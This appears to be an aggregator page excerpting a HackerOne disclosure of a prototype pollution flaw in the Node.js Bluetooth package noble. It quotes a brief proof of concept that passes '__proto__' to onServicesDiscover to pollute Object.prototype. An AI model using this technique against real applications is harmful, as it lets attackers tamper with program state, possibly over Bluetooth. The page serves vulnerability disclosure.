Prototype Pollution Vulnerability in noble Package
该报告还没有中文解读。
原文摘录
摘自原文(1795 字符中的一小部分)
I would like to report prototype pollution vulnerability in noble. It allows attackers to pollute the Object.prototype object of an application running noble, possibly through Bluetooth.
原文中的代码
var noble = require('noble');
//noble.emit("servicesDiscover");
console.log({}.x);
try {
noble.onServicesDiscover("__proto__", "x");
} catch(e) {}
console.log({}.x);默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @cris_semmle · 版权归作者与 Node.js third-party modules 所有